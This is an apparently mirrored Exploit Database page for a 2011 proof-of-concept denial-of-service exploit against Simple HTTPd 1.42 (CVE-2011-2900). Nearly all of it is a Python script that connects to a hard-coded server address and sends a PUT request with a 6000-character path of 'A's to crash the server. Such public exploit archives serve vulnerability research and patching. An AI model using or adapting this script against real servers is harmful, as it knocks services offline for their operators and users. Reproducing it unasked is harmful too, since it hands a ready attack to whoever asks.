Simple HTTPd 1.42 – Denial of Servive

• Exploit Database
• 136 阅读

• 作者： G13
  日期： 2011-08-12
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17658/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29

  #!/usr/bin/python # Exploit Title: Simple HTTPd 1.42 PoC DoS # Date: 8/10/2011 # Author: G13 # Software Link: http://sourceforge.net/projects/shttpd/files/shttpd/1.42/shttpd-1.42.tar.gz/download # Version: 1.42 # Tested on: WinXP SP1 # CVE : 2011-2900 # # Since Mongoose HTTPd and Simple HTTPd share similar code, the exploit still works. # Simple HTTPd is still affected by the bug. The executable must be compiled with -DNO_AUTH and -D_DEBUG enabled. I compiled # under MinGW.   import socket, sys     buf = "A" * 6000   s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.1.101',80))   s.send("PUT /" + buf + "/ HTTP/1.0\r\n") s.send("\r\n") print s.recv(1024) s.close()